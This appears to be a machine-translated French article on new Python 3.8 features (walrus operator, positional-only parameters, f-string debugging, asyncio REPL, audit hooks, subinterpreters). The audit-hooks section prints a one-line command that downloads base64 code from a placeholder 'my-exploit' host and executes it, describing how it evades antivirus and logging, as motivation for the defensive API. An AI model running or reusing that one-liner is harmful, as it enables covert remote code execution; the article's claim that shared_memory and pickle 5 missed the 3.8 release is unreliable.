Python 3.8: Quoi de neuf et comment l'utiliser?

La traduction suivante a été préparée spécialement pour les pythonistes qui souhaitent lire avec certitude les nouvelles fonctionnalités de Python 3.8. En prévision du lancement d'un nouveau fil sur le cours "Développeur Python", nous n'avons pas pu dépasser ce sujet.

Dans cet article, nous parlerons des nouvelles fonctionnalités introduites dans Python 3.8.




Opérateur de morse (opérateur d'affectation)


Nous savons que vous attendiez cela. Cette attente remonte à l'époque où Python était délibérément interdit d'utiliser "=" comme opérateur de comparaison. Certaines personnes ont aimé cela parce qu'elles ne confondaient plus = et == dans l'affectation et la comparaison. D'autres ont trouvé inconfortable de répéter l'opérateur ou de l'assigner à une variable. Passons à un exemple.

Selon Guido, la plupart des programmeurs ont tendance à écrire:

group = re.match(data).group(1) if re.match(data) else None 

Au lieu de cela

 match = re.match(data) group = match.group(1) if match else None 

Cela rend le programme plus lent. Bien qu'il soit compréhensible que certains programmeurs n'écrivent toujours pas de la première manière - cela encombre le code.

Maintenant, nous avons la possibilité de le faire:

 group = match.group(1) if (match := re.match(data)) else None 

De plus, il est utile lors de l'utilisation de ifs, afin de ne pas tout calculer à l'avance.

 match1 = pattern1.match(data) match2 = pattern2.match(data) if match1: result = match1.group(1) elif match2: result = match2.group(2) else: result = None 

Et à la place, nous pouvons écrire:

 if (match1 := pattern1.match(data)): result = match1.group(1) elif (match2 := pattern2.match(data)): result = match2.group(2) else: result = None 

Ce qui est plus optimal, car le second if ne sera pas pris en compte si le premier fonctionne.

En fait, je suis très satisfait de la norme PEP-572, car elle donne non seulement une opportunité auparavant inexistante, mais utilise également un opérateur différent pour cela, il ne sera donc pas facile de la confondre avec ==.

Cependant, en même temps, il offre également de nouvelles opportunités d'erreurs et la création de code précédemment inopérant.

 y0 = (y1 := f(x)) 

Arguments positionnels


 def f(a, b, /, c, d, *, e, f): print(a, b, c, d, e, f) 

Ici, tout ce qui précède / est strictement des arguments positionnels, et tout ce qui suit * n'est que des mots-clés.

 f(10, 20, 30, d=40, e=50, f=60) - valid f(10, b=20, c=30, d=40, e=50, f=60) - b cannot be a keyword argument f(10, 20, 30, 40, 50, f=60) - e must be a keyword argument 

La portée de cette fonction peut être exprimée en une phrase. Il sera plus facile pour les bibliothèques de changer leurs signatures. Regardons un exemple:

 def add_to_queue(item: QueueItem): 

À présent, l'auteur doit prendre en charge une telle signature et le nom du paramètre ne doit plus être modifié, car cette modification deviendra critique. Imaginez que vous devez modifier non seulement un élément, mais toute une liste d'éléments:

 def add_to_queue(items: Union[QueueItem, List[QueueItem]]): 

Ou alors:

 def add_to_queue(*items: QueueItem): 

C'est quelque chose que vous ne pouviez pas faire auparavant en raison d'éventuelles incompatibilités avec la version précédente. Maintenant c'est possible. De plus, cela est plus cohérent avec les conceptions qui utilisent déjà cette approche. Par exemple, vous ne pouvez pas passer de kwargs à la fonction pow.

 >>> help(pow) ... pow(x, y, z=None, /) ... >>> pow(x=5, y=3) Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: pow() takes no keyword arguments 

Débogage avec f-lines


Une petite fonction supplémentaire qui nous aide à utiliser un format d'enregistrement compact de la forme "variable name =" variable.

 f"{chr(65) = }" => "chr(65) = 'A'" 

Avez-vous remarqué cela après chr (65)? Cette même astuce. Il permet de fournir un moyen plus court d'imprimer des variables à l'aide de lignes f.

Shell asyncio natif


Maintenant, si nous exécutons le shell Python en tant que 'python -m asyncio', nous n'avons plus besoin de asyncio.run() pour exécuter les fonctions asynchrones. Await peut être utilisé directement depuis le shell lui-même:

 >python -m asyncio asyncio REPL 3.8.0b4 Use “await” directly instead of “asyncio.run()”. Type “help”, “copyright”, “credits” or “license” for more information. >>> import asyncio >>> async def test():await asyncio.sleep(1) … return 'hello' … >>> await test() 'hello' 

Python appelle des hooks d'audit d'exécution


Le Python Rantime s'appuie fortement sur C. Cependant, le code qui y est exécuté n'est en aucun cas enregistré ou suivi. Cela rend difficile le contrôle du fonctionnement des frameworks de test, des frameworks de journalisation, des outils de sécurité et, éventuellement, limite les actions effectuées par le runtime.

Vous pouvez maintenant observer les événements déclenchés par le runtime, y compris le fonctionnement du système d'importation de module et les éventuels hooks utilisateur.

La nouvelle API est la suivante:

 # Add an auditing hook sys.addaudithook(hook: Callable[[str, tuple]]) # Raise an event with all auditing hooks sys.audit(str, *args) 

Les crochets ne peuvent pas être supprimés ou remplacés. Pour CPython, les hooks provenant de C sont considérés comme globaux, tandis que les hooks provenant de Python ne sont destinés qu'à l'interpréteur actuel. Les hooks globaux sont exécutés avant les hooks de l'interpréteur.

Un exploit particulièrement intéressant et non suivi pourrait ressembler à ceci:

 python -c “import urllib.request, base64; exec(base64.b64decode( urllib.request.urlopen('http://my-exploit/py.b64') ).decode())” 

Ce code n'est pas analysé par la plupart des programmes antivirus, car ils se concentrent sur du code reconnaissable qui est lu lors du chargement et de l'écriture sur le disque, et base64 est suffisant pour contourner ce système. Ce code passera également des niveaux de protection tels que des listes de contrôle d'accès aux fichiers ou des autorisations (lorsque l'accès aux fichiers n'est pas requis), des listes d'applications approuvées (à condition que Python dispose de toutes les autorisations nécessaires) et un audit ou une journalisation automatique (à condition que Python a accès à Internet ou à une autre machine du réseau local avec laquelle vous pouvez obtenir la charge utile).

Avec les hooks d'événements d'exécution, nous pouvons décider comment répondre à un événement particulier. Nous pouvons soit enregistrer l'événement, soit terminer complètement l'opération.

multiprocessing.shared_memory


Aide à utiliser la même zone mémoire de différents processus / interprètes. Fondamentalement, cela peut nous aider à réduire le temps nécessaire à la sérialisation des objets pour les transférer entre les processus. Au lieu de sérialiser, mettre en file d'attente et désérialiser, nous pouvons simplement utiliser la mémoire partagée d'un autre processus.

Protocole Pickle et tampons de données hors bande


Le protocole pickle 5 prend en charge les tampons hors bande, où les données peuvent être transmises séparément du flux de pickle principal à la discrétion de la couche de transport.

Les 2 modules complémentaires précédents sont très importants, mais ils n'étaient pas inclus dans la version finale de Python 3.8, car il reste encore du travail à faire avec la compatibilité avec l'ancien code, mais cela peut changer l'approche de la programmation parallèle en Python.

Sous-interprètes


Les threads en Python ne peuvent pas s'exécuter en parallèle à cause du GIL, alors que les processus nécessitent beaucoup de ressources. Seul le début du processus prend 100 à 200 ms, et ils consomment également une grande quantité de RAM. Mais quelque chose peut y faire face, et ce sont des sous-interprètes. GIL est un interpréteur, donc il n'affectera pas le travail des autres interprètes, et il démarre plus facilement qu'un processus (quoique plus lent qu'un thread).

Le principal problème qui se pose à cet égard est le transfert de données entre interprètes, car ils ne peuvent pas transférer d'état, comme le font les flux. Par conséquent, nous devons utiliser une sorte de connexion entre eux. Pickle, marshal ou json peuvent être utilisés pour sérialiser et désérialiser des objets, mais cette méthode fonctionnera assez lentement. Une solution consiste à utiliser la mémoire partagée à partir d'un module de processus.

Les sous-processus semblent être une bonne solution aux problèmes de GIL, mais il reste encore un certain travail à faire. Dans certains cas, Python utilise toujours «Runtime State» au lieu de «Interpreter State». Par exemple, le garbage collector fait exactement cela. Par conséquent, vous devez apporter des modifications à de nombreux modules internes afin de commencer à utiliser les sous-interprètes de manière normale.

J'espère que cette fonctionnalité peut être entièrement déployée déjà dans Python version 3.9.

En conclusion, je tiens à dire qu'un certain sucre syntaxique a été ajouté à cette version, ainsi que de sérieuses améliorations dans le travail des bibliothèques et le processus d'exécution. Cependant, de nombreuses fonctionnalités intéressantes ne sont jamais entrées dans la version, nous les attendrons donc dans Python 3.9.

Sources:


Source: https://habr.com/ru/post/fr472432/


All Articles